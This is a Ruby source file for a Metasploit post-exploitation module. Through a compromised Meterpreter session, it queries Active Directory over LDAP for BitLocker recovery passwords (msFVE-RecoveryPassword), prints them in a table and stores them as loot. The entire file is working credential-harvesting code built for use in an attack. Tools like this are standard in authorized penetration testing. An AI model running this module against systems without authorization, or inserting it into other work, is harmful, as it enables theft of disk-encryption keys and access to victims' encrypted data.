1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Auxiliary::Report
8
  include Msf::Post::Windows::LDAP
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'Windows Gather Active Directory BitLocker Recovery',
15
        'Description' => %q{
16
          This module will enumerate BitLocker recovery passwords in the default AD
17
          directory. This module does require Domain Admin or other delegated privileges.
18
        },
19
        'License' => MSF_LICENSE,
20
        'Author' => ['Ben Campbell <ben.campbell[at]mwrinfosecurity.com>'],
21
        'Platform' => ['win'],
22
        'SessionTypes' => ['meterpreter'],
23
        'References' => [
24
          ['URL', 'https://technet.microsoft.com/en-us/library/cc771778%28v=ws.10%29.aspx']
25
        ],
26
        'Notes' => {
27
          'Stability' => [CRASH_SAFE],
28
          'SideEffects' => [],
29
          'Reliability' => []
30
        }
31
      )
32
    )
33

34
    register_options([
35
      OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]),
36
      OptString.new('FIELDS', [true, 'FIELDS to retrieve.', 'distinguishedName,msFVE-RecoveryPassword']),
37
      OptString.new('FILTER', [true, 'Search filter.', '(objectClass=msFVE-RecoveryInformation)'])
38
    ])
39
  end
40

41
  def run
42
    fields = datastore['FIELDS'].gsub(/\s+/, '').split(',')
43
    search_filter = datastore['FILTER']
44
    max_search = datastore['MAX_SEARCH']
45

46
    begin
47
      q = query(search_filter, max_search, fields)
48
    rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
49
      print_error(e.message)
50
      return
51
    end
52

53
    if q.nil? || q[:results].empty?
54
      print_status('No results found...')
55
      return
56
    end
57

58
    # Results table holds raw string data
59
    results_table = Rex::Text::Table.new(
60
      'Header' => 'BitLocker Recovery Passwords',
61
      'Indent' => 1,
62
      'SortIndex' => -1,
63
      'Columns' => fields
64
    )
65

66
    q[:results].each do |result|
67
      row = []
68

69
      result.each do |field|
70
        field_value = (field.nil? ? '' : field[:value])
71
        row << field_value
72
      end
73

74
      results_table << row
75
    end
76

77
    print_line results_table.to_s
78

79
    if datastore['STORE_LOOT']
80
      stored_path = store_loot('bitlocker.recovery', 'text/plain', session, results_table.to_csv)
81
      print_good("Results saved to: #{stored_path}")
82
    end
83
  end
84
end
85

86